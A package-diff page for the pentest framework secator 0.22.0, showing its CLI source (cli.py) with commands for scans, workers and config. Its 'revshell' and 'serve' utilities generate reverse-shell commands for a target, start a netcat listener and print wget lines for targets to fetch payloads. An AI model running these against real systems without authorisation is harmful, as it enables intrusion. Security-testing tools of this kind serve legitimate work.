secator 0.22.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (150) hide show
  1. secator/.gitignore +162 -0
  2. secator/__init__.py +0 -0
  3. secator/celery.py +453 -0
  4. secator/celery_signals.py +138 -0
  5. secator/celery_utils.py +320 -0
  6. secator/cli.py +2035 -0
  7. secator/cli_helper.py +395 -0
  8. secator/click.py +87 -0
  9. secator/config.py +670 -0
  10. secator/configs/__init__.py +0 -0
  11. secator/configs/profiles/__init__.py +0 -0
  12. secator/configs/profiles/aggressive.yaml +8 -0
  13. secator/configs/profiles/all_ports.yaml +7 -0
  14. secator/configs/profiles/full.yaml +31 -0
  15. secator/configs/profiles/http_headless.yaml +7 -0
  16. secator/configs/profiles/http_record.yaml +8 -0
  17. secator/configs/profiles/insane.yaml +8 -0
  18. secator/configs/profiles/paranoid.yaml +8 -0
  19. secator/configs/profiles/passive.yaml +11 -0
  20. secator/configs/profiles/polite.yaml +8 -0
  21. secator/configs/profiles/sneaky.yaml +8 -0
  22. secator/configs/profiles/tor.yaml +5 -0
  23. secator/configs/scans/__init__.py +0 -0
  24. secator/configs/scans/domain.yaml +31 -0
  25. secator/configs/scans/host.yaml +23 -0
  26. secator/configs/scans/network.yaml +30 -0
  27. secator/configs/scans/subdomain.yaml +27 -0
  28. secator/configs/scans/url.yaml +19 -0
  29. secator/configs/workflows/__init__.py +0 -0
  30. secator/configs/workflows/cidr_recon.yaml +48 -0
  31. secator/configs/workflows/code_scan.yaml +29 -0
  32. secator/configs/workflows/domain_recon.yaml +46 -0
  33. secator/configs/workflows/host_recon.yaml +95 -0
  34. secator/configs/workflows/subdomain_recon.yaml +120 -0
  35. secator/configs/workflows/url_bypass.yaml +15 -0
  36. secator/configs/workflows/url_crawl.yaml +98 -0
  37. secator/configs/workflows/url_dirsearch.yaml +62 -0
  38. secator/configs/workflows/url_fuzz.yaml +68 -0
  39. secator/configs/workflows/url_params_fuzz.yaml +66 -0
  40. secator/configs/workflows/url_secrets_hunt.yaml +23 -0
  41. secator/configs/workflows/url_vuln.yaml +91 -0
  42. secator/configs/workflows/user_hunt.yaml +29 -0
  43. secator/configs/workflows/wordpress.yaml +38 -0
  44. secator/cve.py +718 -0
  45. secator/decorators.py +7 -0
  46. secator/definitions.py +168 -0
  47. secator/exporters/__init__.py +14 -0
  48. secator/exporters/_base.py +3 -0
  49. secator/exporters/console.py +10 -0
  50. secator/exporters/csv.py +37 -0
  51. secator/exporters/gdrive.py +123 -0
  52. secator/exporters/json.py +16 -0
  53. secator/exporters/table.py +36 -0
  54. secator/exporters/txt.py +28 -0
  55. secator/hooks/__init__.py +0 -0
  56. secator/hooks/gcs.py +80 -0
  57. secator/hooks/mongodb.py +281 -0
  58. secator/installer.py +694 -0
  59. secator/loader.py +128 -0
  60. secator/output_types/__init__.py +49 -0
  61. secator/output_types/_base.py +108 -0
  62. secator/output_types/certificate.py +78 -0
  63. secator/output_types/domain.py +50 -0
  64. secator/output_types/error.py +42 -0
  65. secator/output_types/exploit.py +58 -0
  66. secator/output_types/info.py +24 -0
  67. secator/output_types/ip.py +47 -0
  68. secator/output_types/port.py +55 -0
  69. secator/output_types/progress.py +36 -0
  70. secator/output_types/record.py +36 -0
  71. secator/output_types/stat.py +41 -0
  72. secator/output_types/state.py +29 -0
  73. secator/output_types/subdomain.py +45 -0
  74. secator/output_types/tag.py +69 -0
  75. secator/output_types/target.py +38 -0
  76. secator/output_types/url.py +112 -0
  77. secator/output_types/user_account.py +41 -0
  78. secator/output_types/vulnerability.py +101 -0
  79. secator/output_types/warning.py +30 -0
  80. secator/report.py +140 -0
  81. secator/rich.py +130 -0
  82. secator/runners/__init__.py +14 -0
  83. secator/runners/_base.py +1240 -0
  84. secator/runners/_helpers.py +218 -0
  85. secator/runners/celery.py +18 -0
  86. secator/runners/command.py +1178 -0
  87. secator/runners/python.py +126 -0
  88. secator/runners/scan.py +87 -0
  89. secator/runners/task.py +81 -0
  90. secator/runners/workflow.py +168 -0
  91. secator/scans/__init__.py +29 -0
  92. secator/serializers/__init__.py +8 -0
  93. secator/serializers/dataclass.py +39 -0
  94. secator/serializers/json.py +45 -0
  95. secator/serializers/regex.py +25 -0
  96. secator/tasks/__init__.py +8 -0
  97. secator/tasks/_categories.py +487 -0
  98. secator/tasks/arjun.py +113 -0
  99. secator/tasks/arp.py +53 -0
  100. secator/tasks/arpscan.py +70 -0
  101. secator/tasks/bbot.py +372 -0
  102. secator/tasks/bup.py +118 -0
  103. secator/tasks/cariddi.py +193 -0
  104. secator/tasks/dalfox.py +87 -0
  105. secator/tasks/dirsearch.py +84 -0
  106. secator/tasks/dnsx.py +186 -0
  107. secator/tasks/feroxbuster.py +93 -0
  108. secator/tasks/ffuf.py +135 -0
  109. secator/tasks/fping.py +85 -0
  110. secator/tasks/gau.py +102 -0
  111. secator/tasks/getasn.py +60 -0
  112. secator/tasks/gf.py +36 -0
  113. secator/tasks/gitleaks.py +96 -0
  114. secator/tasks/gospider.py +84 -0
  115. secator/tasks/grype.py +109 -0
  116. secator/tasks/h8mail.py +75 -0
  117. secator/tasks/httpx.py +167 -0
  118. secator/tasks/jswhois.py +36 -0
  119. secator/tasks/katana.py +203 -0
  120. secator/tasks/maigret.py +87 -0
  121. secator/tasks/mapcidr.py +42 -0
  122. secator/tasks/msfconsole.py +179 -0
  123. secator/tasks/naabu.py +85 -0
  124. secator/tasks/nmap.py +487 -0
  125. secator/tasks/nuclei.py +151 -0
  126. secator/tasks/search_vulns.py +225 -0
  127. secator/tasks/searchsploit.py +109 -0
  128. secator/tasks/sshaudit.py +299 -0
  129. secator/tasks/subfinder.py +48 -0
  130. secator/tasks/testssl.py +283 -0
  131. secator/tasks/trivy.py +130 -0
  132. secator/tasks/trufflehog.py +240 -0
  133. secator/tasks/urlfinder.py +100 -0
  134. secator/tasks/wafw00f.py +106 -0
  135. secator/tasks/whois.py +34 -0
  136. secator/tasks/wpprobe.py +116 -0
  137. secator/tasks/wpscan.py +202 -0
  138. secator/tasks/x8.py +94 -0
  139. secator/tasks/xurlfind3r.py +83 -0
  140. secator/template.py +294 -0
  141. secator/thread.py +24 -0
  142. secator/tree.py +196 -0
  143. secator/utils.py +922 -0
  144. secator/utils_test.py +297 -0
  145. secator/workflows/__init__.py +29 -0
  146. secator-0.22.0.dist-info/METADATA +447 -0
  147. secator-0.22.0.dist-info/RECORD +150 -0
  148. secator-0.22.0.dist-info/WHEEL +4 -0
  149. secator-0.22.0.dist-info/entry_points.txt +2 -0
  150. secator-0.22.0.dist-info/licenses/LICENSE +60 -0
secator/cli.py ADDED
@@ -0,0 +1,2035 @@
1
+ import json
2
+ import os
3
+ import re
4
+ import shutil
5
+ import sys
6
+
7
+ from pathlib import Path
8
+ from stat import S_ISFIFO
9
+
10
+ import rich_click as click
11
+ from dotmap import DotMap
12
+ from fp.fp import FreeProxy
13
+ from jinja2 import Template
14
+ from rich.live import Live
15
+ from rich.markdown import Markdown
16
+ from rich.rule import Rule
17
+ from rich.table import Table
18
+
19
+ from secator.config import CONFIG, ROOT_FOLDER, Config, default_config, config_path, download_files
20
+ from secator.click import OrderedGroup
21
+ from secator.cli_helper import register_runner
22
+ from secator.definitions import ADDONS_ENABLED, ASCII, DEV_PACKAGE, FORCE_TTY, VERSION, STATE_COLORS
23
+ from secator.installer import ToolInstaller, fmt_health_table_row, get_health_table, get_version_info, get_distro_config
24
+ from secator.output_types import FINDING_TYPES, Info, Warning, Error
25
+ from secator.report import Report
26
+ from secator.rich import console
27
+ from secator.runners import Command, Runner
28
+ from secator.serializers.dataclass import loads_dataclass
29
+ from secator.loader import get_configs_by_type, discover_tasks
30
+ from secator.utils import (
31
+ debug, detect_host, flatten, print_version, get_file_date, is_terminal_interactive,
32
+ sort_files_by_date, get_file_timestamp, list_reports, get_info_from_report_path, human_to_timedelta
33
+ )
34
+ from contextlib import nullcontext
35
+
36
+
37
+ click.rich_click.USE_RICH_MARKUP = True
38
+ click.rich_click.STYLE_ARGUMENT = ""
39
+ click.rich_click.STYLE_OPTION_HELP = ""
40
+
41
+
42
+ FINDING_TYPES_LOWER = [c.__name__.lower() for c in FINDING_TYPES]
43
+ CONTEXT_SETTINGS = dict(help_option_names=['-h', '-help', '--help'])
44
+ TASKS = get_configs_by_type('task')
45
+ WORKFLOWS = get_configs_by_type('workflow')
46
+ SCANS = get_configs_by_type('scan')
47
+ PROFILES = get_configs_by_type('profile')
48
+
49
+
50
+ #-----#
51
+ # CLI #
52
+ #-----#
53
+
54
+
55
+ @click.group(cls=OrderedGroup, invoke_without_command=True, context_settings=CONTEXT_SETTINGS)
56
+ @click.option('--version', '-version', '-v', is_flag=True, default=False)
57
+ @click.option('--quiet', '-quiet', '-q', is_flag=True, default=False)
58
+ @click.pass_context
59
+ def cli(ctx, version, quiet):
60
+ """Secator CLI."""
61
+ ctx.obj = {
62
+ 'piped_input': (is_terminal_interactive() or FORCE_TTY) and S_ISFIFO(os.fstat(0).st_mode),
63
+ 'piped_output': not sys.stdout.isatty()
64
+ }
65
+ if not ctx.obj['piped_output'] and not quiet:
66
+ console.print(ASCII, highlight=False)
67
+ if ctx.invoked_subcommand is None:
68
+ if version:
69
+ print_version()
70
+ else:
71
+ ctx.get_help()
72
+
73
+
74
+ #------#
75
+ # TASK #
76
+ #------#
77
+
78
+ @cli.group(aliases=['x', 't', 'tasks'], invoke_without_command=True)
79
+ @click.pass_context
80
+ def task(ctx):
81
+ """Run a task."""
82
+ if ctx.invoked_subcommand is None:
83
+ ctx.get_help()
84
+
85
+
86
+ for config in TASKS:
87
+ register_runner(task, config)
88
+
89
+ #----------#
90
+ # WORKFLOW #
91
+ #----------#
92
+
93
+
94
+ @cli.group(cls=OrderedGroup, aliases=['w', 'workflows'], invoke_without_command=True)
95
+ @click.pass_context
96
+ def workflow(ctx):
97
+ """Run a workflow."""
98
+ if ctx.invoked_subcommand is None:
99
+ ctx.get_help()
100
+
101
+
102
+ for config in WORKFLOWS:
103
+ register_runner(workflow, config)
104
+
105
+
106
+ #------#
107
+ # SCAN #
108
+ #------#
109
+
110
+ @cli.group(cls=OrderedGroup, aliases=['s', 'scans'], invoke_without_command=True)
111
+ @click.pass_context
112
+ def scan(ctx):
113
+ """Run a scan."""
114
+ if ctx.invoked_subcommand is None:
115
+ ctx.get_help()
116
+
117
+
118
+ for config in SCANS:
119
+ register_runner(scan, config)
120
+
121
+
122
+ #--------#
123
+ # WORKER #
124
+ #--------#
125
+
126
+ @cli.command(name='worker', context_settings=dict(ignore_unknown_options=True), aliases=['wk'])
127
+ @click.option('-n', '--hostname', type=str, default='runner', help='Celery worker hostname (unique).')
128
+ @click.option('-c', '--concurrency', type=int, default=100, help='Number of child processes processing the queue.')
129
+ @click.option('-r', '--reload', is_flag=True, help='Autoreload Celery on code changes.')
130
+ @click.option('-Q', '--queue', type=str, default='', help='Listen to a specific queue.')
131
+ @click.option('-P', '--pool', type=str, default='eventlet', help='Pool implementation.')
132
+ @click.option('--quiet', is_flag=True, default=False, help='Quiet mode.')
133
+ @click.option('--loglevel', type=str, default='INFO', help='Log level.')
134
+ @click.option('--check', is_flag=True, help='Check if Celery worker is alive.')
135
+ @click.option('--dev', is_flag=True, help='Start a worker in dev mode (celery multi).')
136
+ @click.option('--stop', is_flag=True, help='Stop a worker in dev mode (celery multi).')
137
+ @click.option('--show', is_flag=True, help='Show command (celery multi).')
138
+ @click.option('--use-command-runner', is_flag=True, default=False, help='Use command runner to run the command.')
139
+ @click.option('--without-gossip', is_flag=True)
140
+ @click.option('--without-mingle', is_flag=True)
141
+ @click.option('--without-heartbeat', is_flag=True)
142
+ def worker(hostname, concurrency, reload, queue, pool, quiet, loglevel, check, dev, stop, show, use_command_runner, without_gossip, without_mingle, without_heartbeat): # noqa: E501
143
+ """Run a worker."""
144
+
145
+ # Check Celery addon is installed
146
+ if not ADDONS_ENABLED['worker']:
147
+ console.print(Error(message='Missing worker addon: please run "secator install addons worker".'))
148
+ sys.exit(1)
149
+
150
+ # Check broken / backend addon is installed
151
+ broker_protocol = CONFIG.celery.broker_url.split('://')[0]
152
+ backend_protocol = CONFIG.celery.result_backend.split('://')[0]
153
+ if CONFIG.celery.broker_url and \
154
+ (broker_protocol == 'redis' or backend_protocol == 'redis') and \
155
+ not ADDONS_ENABLED['redis']:
156
+ console.print(Error(message='Missing redis addon: please run "secator install addons redis".'))
157
+ sys.exit(1)
158
+
159
+ # Debug Celery config
160
+ from secator.celery import app, is_celery_worker_alive
161
+ debug('conf', obj=dict(app.conf), obj_breaklines=True, sub='celery.app')
162
+ debug('registered tasks', obj=list(app.tasks.keys()), obj_breaklines=True, sub='celery.app')
163
+
164
+ if check:
165
+ is_celery_worker_alive()
166
+ return
167
+
168
+ if not queue:
169
+ queue = 'io,cpu,poll,' + ','.join(set([r['queue'] for r in app.conf.task_routes.values()]))
170
+
171
+ app_str = 'secator.celery.app'
172
+ celery = f'{sys.executable} -m celery'
173
+ if quiet:
174
+ celery += ' --quiet'
175
+
176
+ if dev:
177
+ subcmd = 'stop' if stop else 'show' if show else 'start'
178
+ logfile = '%n.log'
179
+ pidfile = '%n.pid'
180
+ queues = '-Q:1 celery -Q:2 io -Q:3 cpu'
181
+ concur = '-c:1 10 -c:2 100 -c:3 4'
182
+ pool = 'eventlet'
183
+ cmd = f'{celery} -A {app_str} multi {subcmd} 3 {queues} -P {pool} {concur} --logfile={logfile} --pidfile={pidfile}'
184
+ else:
185
+ cmd = f'{celery} -A {app_str} worker -n {hostname} -Q {queue}'
186
+
187
+ cmd += f' -P {pool}' if pool else ''
188
+ cmd += f' -c {concurrency}' if concurrency else ''
189
+ cmd += f' -l {loglevel}' if loglevel else ''
190
+ cmd += ' --without-mingle' if without_mingle else ''
191
+ cmd += ' --without-gossip' if without_gossip else ''
192
+ cmd += ' --without-heartbeat' if without_heartbeat else ''
193
+
194
+ if reload:
195
+ patterns = "celery.py;tasks/*.py;runners/*.py;serializers/*.py;output_types/*.py;hooks/*.py;exporters/*.py"
196
+ cmd = f'watchmedo auto-restart --directory=./ --patterns="{patterns}" --recursive -- {cmd}'
197
+
198
+ if use_command_runner:
199
+ ret = Command.execute(cmd, name='secator_worker')
200
+ sys.exit(ret.return_code)
201
+ else:
202
+ console.print(f'[bold red]{cmd}[/]')
203
+ ret = os.system(cmd)
204
+ sys.exit(os.waitstatus_to_exitcode(ret))
205
+
206
+
207
+ #-------#
208
+ # UTILS #
209
+ #-------#
210
+
211
+
212
+ @cli.group(aliases=['u'])
213
+ def util():
214
+ """Run a utility."""
215
+ pass
216
+
217
+
218
+ @util.command()
219
+ @click.option('--timeout', type=float, default=0.2, help='Proxy timeout (in seconds)')
220
+ @click.option('--number', '-n', type=int, default=1, help='Number of proxies')
221
+ def proxy(timeout, number):
222
+ """Get random proxies from FreeProxy."""
223
+ if CONFIG.offline_mode:
224
+ console.print(Error(message='Cannot run this command in offline mode.'))
225
+ sys.exit(1)
226
+ proxy = FreeProxy(timeout=timeout, rand=True, anonym=True)
227
+ for _ in range(number):
228
+ url = proxy.get()
229
+ console.print(url)
230
+
231
+
232
+ @util.command()
233
+ @click.argument('name', type=str, default=None, required=False)
234
+ @click.option('--host', '-h', type=str, default=None, help='Specify LHOST for revshell, otherwise autodetected.')
235
+ @click.option('--port', '-p', type=int, default=9001, show_default=True, help='Specify PORT for revshell')
236
+ @click.option('--interface', '-i', type=str, help='Interface to use to detect IP')
237
+ @click.option('--listen', '-l', is_flag=True, default=False, help='Spawn netcat listener on specified port')
238
+ @click.option('--force', is_flag=True)
239
+ def revshell(name, host, port, interface, listen, force):
240
+ """Show reverse shell source codes and run netcat listener (-l)."""
241
+ if host is None: # detect host automatically
242
+ host = detect_host(interface)
243
+ if not host:
244
+ console.print(Error(message=f'Interface "{interface}" could not be found. Run "ifconfig" to see the list of available interfaces')) # noqa: E501
245
+ sys.exit(1)
246
+ else:
247
+ console.print(Info(message=f'Detected host IP: {host}'))
248
+
249
+ # Download reverse shells JSON from repo
250
+ revshells_json = f'{CONFIG.dirs.revshells}/revshells.json'
251
+ if not os.path.exists(revshells_json) or force:
252
+ if CONFIG.offline_mode:
253
+ console.print(Error(message='Cannot run this command in offline mode'))
254
+ sys.exit(1)
255
+ ret = Command.execute(
256
+ f'wget https://raw.githubusercontent.com/freelabz/secator/main/scripts/revshells.json && mv revshells.json {CONFIG.dirs.revshells}', # noqa: E501
257
+ cls_attributes={'shell': True}
258
+ )
259
+ if not ret.return_code == 0:
260
+ sys.exit(1)
261
+
262
+ # Parse JSON into shells
263
+ with open(revshells_json) as f:
264
+ shells = json.loads(f.read())
265
+ for sh in shells:
266
+ sh['alias'] = '_'.join(sh['name'].lower()
267
+ .replace('-c', '')
268
+ .replace('-e', '')
269
+ .replace('-i', '')
270
+ .replace('c#', 'cs')
271
+ .replace('#', '')
272
+ .replace('(', '')
273
+ .replace(')', '')
274
+ .strip()
275
+ .split(' ')).replace('_1', '')
276
+ cmd = re.sub(r"\s\s+", "", sh.get('command', ''), flags=re.UNICODE)
277
+ cmd = cmd.replace('\n', ' ')
278
+ sh['cmd_short'] = (cmd[:30] + '..') if len(cmd) > 30 else cmd
279
+
280
+ shell = [
281
+ shell for shell in shells if shell['name'] == name or shell['alias'] == name
282
+ ]
283
+ if not shell:
284
+ console.print('Available shells:', style='bold yellow')
285
+ shells_str = [
286
+ '[bold magenta]{alias:<20}[/][dim white]{name:<20}[/][dim gold3]{cmd_short:<20}[/]'.format(**sh)
287
+ for sh in shells
288
+ ]
289
+ console.print('\n'.join(shells_str))
290
+ else:
291
+ shell = shell[0]
292
+ command = shell['command'].replace('[', r'\[')
293
+ alias = shell['alias']
294
+ name = shell['name']
295
+ command_str = Template(command).render(ip=host, port=port, shell='bash')
296
+ console.print(Rule(f'[bold gold3]{alias}[/] - [bold red]{name} REMOTE SHELL', style='bold red', align='left'))
297
+ lang = shell.get('lang') or 'sh'
298
+ if len(command.splitlines()) == 1:
299
+ console.print(command_str, style='cyan', highlight=False, soft_wrap=True)
300
+ else:
301
+ md = Markdown(f'```{lang}\n{command_str}\n```')
302
+ console.print(md)
303
+ console.print(f'Save this script as rev.{lang} and run it on your target', style='dim italic')
304
+ console.print()
305
+ console.print(Rule(style='bold red'))
306
+
307
+ if listen:
308
+ console.print(Info(message=f'Starting netcat listener on port {port} ...'))
309
+ cmd = f'nc -lvnp {port}'
310
+ Command.execute(cmd)
311
+
312
+
313
+ @util.command()
314
+ @click.option('--directory', '-d', type=str, default=CONFIG.dirs.payloads, help='HTTP server directory')
315
+ @click.option('--host', '-h', type=str, default=None, help='HTTP host')
316
+ @click.option('--port', '-p', type=int, default=9001, help='HTTP server port')
317
+ @click.option('--interface', '-i', type=str, default=None, help='Interface to use to auto-detect host IP')
318
+ def serve(directory, host, port, interface):
319
+ """Run HTTP server to serve payloads."""
320
+ fnames = list(os.listdir(directory))
321
+ if not fnames:
322
+ console.print(Warning(message=f'No payloads found in {directory}.'))
323
+ download_files(CONFIG.payloads.templates, CONFIG.dirs.payloads, CONFIG.offline_mode, 'payload')
324
+ fnames = list(os.listdir(directory))
325
+
326
+ console.print(Rule())
327
+ console.print(f'Available payloads in {directory}: ', style='bold yellow')
328
+ fnames.sort()
329
+ for fname in fnames:
330
+ if not host:
331
+ host = detect_host(interface)
332
+ if not host:
333
+ console.print(Error(message=f'Interface "{interface}" could not be found. Run "ifconfig" to see the list of interfaces.')) # noqa: E501
334
+ return
335
+ console.print(f'{fname} [dim][/]', style='bold magenta')
336
+ console.print(f'wget http://{host}:{port}/{fname}', style='dim italic')
337
+ console.print('')
338
+ console.print(Rule())
339
+ console.print(Info(message=f'[bold yellow]Started HTTP server on port {port}, waiting for incoming connections ...[/]')) # noqa: E501
340
+ Command.execute(f'{sys.executable} -m http.server {port}', cwd=directory)
341
+
342
+
343
+ @util.command()
344
+ @click.argument('record_name', type=str, default=None)
345
+ @click.option('--script', '-s', type=str, default=None, help='Script to run. See scripts/stories/ for examples.')
346
+ @click.option('--interactive', '-i', is_flag=True, default=False, help='Interactive record.')
347
+ @click.option('--width', '-w', type=int, default=None, help='Recording width')
348
+ @click.option('--height', '-h', type=int, default=None, help='Recording height')
349
+ @click.option('--output-dir', type=str, default=f'{ROOT_FOLDER}/images')
350
+ def record(record_name, script, interactive, width, height, output_dir):
351
+ """Record secator session using asciinema."""
352
+ # 120 x 30 is a good ratio for GitHub
353
+ width = width or console.size.width
354
+ height = height or console.size.height
355
+ attrs = {
356
+ 'shell': False,
357
+ 'env': {
358
+ 'RECORD': '1',
359
+ 'LINES': str(height),
360
+ 'PS1': '$ ',
361
+ 'COLUMNS': str(width),
362
+ 'TERM': 'xterm-256color'
363
+ }
364
+ }
365
+ output_cast_path = f'{output_dir}/{record_name}.cast'
366
+ output_gif_path = f'{output_dir}/{record_name}.gif'
367
+
368
+ # Run automated 'story' script with asciinema-automation
369
+ if script:
370
+ # If existing cast file, remove it
371
+ if os.path.exists(output_cast_path):
372
+ os.unlink(output_cast_path)
373
+ console.print(Info(message=f'Removed existing {output_cast_path}'))
374
+
375
+ with console.status(Info(message='Recording with asciinema ...')):
376
+ Command.execute(
377
+ f'asciinema-automation -aa "-c /bin/sh" {script} {output_cast_path} --timeout 200',
378
+ cls_attributes=attrs,
379
+ raw=True,
380
+ )
381
+ console.print(f'Generated {output_cast_path}', style='bold green')
382
+ elif interactive:
383
+ os.environ.update(attrs['env'])
384
+ Command.execute(f'asciinema rec -c /bin/bash --stdin --overwrite {output_cast_path}')
385
+
386
+ # Resize cast file
387
+ if os.path.exists(output_cast_path):
388
+ with console.status('[bold gold3]Cleaning up .cast and set custom settings ...'):
389
+ with open(output_cast_path, 'r') as f:
390
+ lines = f.readlines()
391
+ updated_lines = []
392
+ for ix, line in enumerate(lines):
393
+ tmp_line = json.loads(line)
394
+ if ix == 0:
395
+ tmp_line['width'] = width
396
+ tmp_line['height'] = height
397
+ tmp_line['env']['SHELL'] = '/bin/sh'
398
+ lines[0] = json.dumps(tmp_line) + '\n'
399
+ updated_lines.append(json.dumps(tmp_line) + '\n')
400
+ elif tmp_line[2].endswith(' \r'):
401
+ tmp_line[2] = tmp_line[2].replace(' \r', '')
402
+ updated_lines.append(json.dumps(tmp_line) + '\n')
403
+ else:
404
+ updated_lines.append(line)
405
+ with open(output_cast_path, 'w') as f:
406
+ f.writelines(updated_lines)
407
+ console.print('')
408
+
409
+ # Edit cast file to reduce long timeouts
410
+ with console.status('[bold gold3] Editing cast file to reduce long commands ...'):
411
+ Command.execute(
412
+ f'asciinema-edit quantize --range 1 {output_cast_path} --out {output_cast_path}.tmp',
413
+ cls_attributes=attrs,
414
+ raw=True,
415
+ )
416
+ if os.path.exists(f'{output_cast_path}.tmp'):
417
+ os.replace(f'{output_cast_path}.tmp', output_cast_path)
418
+ console.print(f'Edited {output_cast_path}', style='bold green')
419
+
420
+ # Convert to GIF
421
+ with console.status(f'[bold gold3]Converting to {output_gif_path} ...[/]'):
422
+ Command.execute(
423
+ f'agg {output_cast_path} {output_gif_path}',
424
+ cls_attributes=attrs,
425
+ )
426
+ console.print(Info(message=f'Generated {output_gif_path}'))
427
+
428
+
429
+ @util.command('build')
430
+ @click.option('--version', type=str, help='Override version specified in pyproject.toml')
431
+ def build(version):
432
+ """Build secator PyPI package."""
433
+ if not DEV_PACKAGE:
434
+ console.print(Error(message='You MUST use a development version of secator to make builds'))
435
+ sys.exit(1)
436
+ if not ADDONS_ENABLED['build']:
437
+ console.print(Error(message='Missing build addon: please run "secator install addons build"'))
438
+ sys.exit(1)
439
+
440
+ # Update version in pyproject.toml if --version is explicitely passed
441
+ if version:
442
+ pyproject_toml_path = Path.cwd() / 'pyproject.toml'
443
+ if not pyproject_toml_path.exists():
444
+ console.print(Error(message='You must be in the secator root directory to make builds with --version'))
445
+ sys.exit(1)
446
+ console.print(Info(message=f'Updating version in pyproject.toml to {version}'))
447
+ with open(pyproject_toml_path, "r") as file:
448
+ content = file.read()
449
+ updated_content = re.sub(r'^\s*version\s*=\s*".*?"', f'version = "{version}"', content, flags=re.MULTILINE)
450
+ with open(pyproject_toml_path, "w") as file:
451
+ file.write(updated_content)
452
+
453
+ with console.status('[bold gold3]Building PyPI package...[/]'):
454
+ ret = Command.execute(f'{sys.executable} -m hatch build', name='hatch build', cwd=ROOT_FOLDER)
455
+ sys.exit(ret.return_code)
456
+
457
+
458
+ @util.command('publish')
459
+ def publish():
460
+ """Publish secator PyPI package."""
461
+ if not DEV_PACKAGE:
462
+ console.print(Error(message='You MUST use a development version of secator to publish builds.'))
463
+ sys.exit(1)
464
+ if not ADDONS_ENABLED['build']:
465
+ console.print(Error(message='Missing build addon: please run "secator install addons build"'))
466
+ sys.exit(1)
467
+ os.environ['HATCH_INDEX_USER'] = '__token__'
468
+ hatch_token = os.environ.get('HATCH_INDEX_AUTH')
469
+ if not hatch_token:
470
+ console.print(Error(message='Missing PyPI auth token (HATCH_INDEX_AUTH env variable).'))
471
+ sys.exit(1)
472
+ with console.status('[bold gold3]Publishing PyPI package...[/]'):
473
+ ret = Command.execute(f'{sys.executable} -m hatch publish', name='hatch publish', cwd=ROOT_FOLDER)
474
+ sys.exit(ret.return_code)
475
+
476
+
477
+ #--------#
478
+ # CONFIG #
479
+ #--------#
480
+
481
+ @cli.group(aliases=['c'])
482
+ def config():
483
+ """View or edit config."""
484
+ pass
485
+
486
+
487
+ @config.command('get')
488
+ @click.option('--user/--full', is_flag=True, help='Show config (user/full)')
489
+ @click.argument('key', required=False)
490
+ def config_get(user, key=None):
491
+ """Get config value."""
492
+ if key is None:
493
+ partial = user and default_config != CONFIG
494
+ CONFIG.print(partial=partial)
495
+ return
496
+ CONFIG.get(key)
497
+
498
+
499
+ @config.command('set')
500
+ @click.argument('key')
501
+ @click.argument('value')
502
+ def config_set(key, value):
503
+ """Set config value."""
504
+ CONFIG.set(key, value)
505
+ config = CONFIG.validate()
506
+ if config:
507
+ CONFIG.get(key)
508
+ saved = CONFIG.save()
509
+ if not saved:
510
+ return
511
+ console.print(f'[bold green]:tada: Saved config to [/]{CONFIG._path}')
512
+ else:
513
+ console.print(Error(message='Invalid config, not saving it.'))
514
+
515
+
516
+ @config.command('unset')
517
+ @click.argument('key')
518
+ def config_unset(key):
519
+ """Unset a config value."""
520
+ CONFIG.unset(key)
521
+ config = CONFIG.validate()
522
+ if config:
523
+ saved = CONFIG.save()
524
+ if not saved:
525
+ return
526
+ console.print(f'[bold green]:tada: Saved config to [/]{CONFIG._path}')
527
+ else:
528
+ console.print(Error(message='Invalid config, not saving it.'))
529
+
530
+
531
+ @config.command('edit')
532
+ @click.option('--resume', is_flag=True)
533
+ def config_edit(resume):
534
+ """Edit config."""
535
+ tmp_config = CONFIG.dirs.data / 'config.yml.patch'
536
+ if not tmp_config.exists() or not resume:
537
+ shutil.copyfile(config_path, tmp_config)
538
+ click.edit(filename=tmp_config)
539
+ config = Config.parse(path=tmp_config)
540
+ if config:
541
+ config.save(config_path)
542
+ console.print(f'\n[bold green]:tada: Saved config to [/]{config_path}.')
543
+ tmp_config.unlink()
544
+ else:
545
+ console.print('\n[bold green]Hint:[/] Run "secator config edit --resume" to edit your patch and fix issues.')
546
+
547
+
548
+ @config.command('default')
549
+ @click.option('--save', type=str, help='Save default config to file.')
550
+ def config_default(save):
551
+ """Get default config."""
552
+ default_config.print(partial=False)
553
+ if save:
554
+ default_config.save(target_path=Path(save), partial=False)
555
+ console.print(f'\n[bold green]:tada: Saved default config to [/]{save}.')
556
+
557
+
558
+ # TODO: implement reset method
559
+ # @_config.command('reset')
560
+ # @click.argument('key')
561
+ # def config_reset(key):
562
+ # """Reset config value to default."""
563
+ # success = CONFIG.set(key, None)
564
+ # if success:
565
+ # CONFIG.print()
566
+ # CONFIG.save()
567
+ # console.print(f'\n[bold green]:tada: Saved config to [/]{CONFIG._path}')
568
+
569
+ #-----------#
570
+ # WORKSPACE #
571
+ #-----------#
572
+ @cli.group(aliases=['ws', 'workspaces'])
573
+ def workspace():
574
+ """Workspaces."""
575
+ pass
576
+
577
+
578
+ @workspace.command('list')
579
+ def workspace_list():
580
+ """List workspaces."""
581
+ workspaces = {}
582
+ json_reports = []
583
+ for root, _, files in os.walk(CONFIG.dirs.reports):
584
+ for file in files:
585
+ if file.endswith('report.json'):
586
+ path = Path(root) / file
587
+ json_reports.append(path)
588
+ json_reports = sorted(json_reports, key=lambda x: x.stat().st_mtime, reverse=False)
589
+ for path in json_reports:
590
+ ws, runner_type, number = str(path).split('/')[-4:-1]
591
+ if ws not in workspaces:
592
+ workspaces[ws] = {'count': 0, 'path': '/'.join(str(path).split('/')[:-3])}
593
+ workspaces[ws]['count'] += 1
594
+
595
+ # Build table
596
+ table = Table()
597
+ table.add_column("Workspace name", style="bold gold3")
598
+ table.add_column("Run count", overflow='fold')
599
+ table.add_column("Path")
600
+ for workspace, config in workspaces.items():
601
+ table.add_row(workspace, str(config['count']), config['path'])
602
+ console.print(table)
603
+
604
+
605
+ #----------#
606
+ # PROFILES #
607
+ #----------#
608
+
609
+ @cli.group(aliases=['p', 'profiles'])
610
+ @click.pass_context
611
+ def profile(ctx):
612
+ """Profiles"""
613
+ pass
614
+
615
+
616
+ @profile.command('list')
617
+ def profile_list():
618
+ table = Table()
619
+ table.add_column("Profile name", style="bold gold3")
620
+ table.add_column("Description", overflow='fold')
621
+ table.add_column("Options", overflow='fold')
622
+ for profile in PROFILES:
623
+ opts_str = ', '.join(f'[yellow3]{k}[/]=[dim yellow3]{v}[/]' for k, v in profile.opts.items())
624
+ table.add_row(profile.name, profile.description or '', opts_str)
625
+ console.print(table)
626
+
627
+
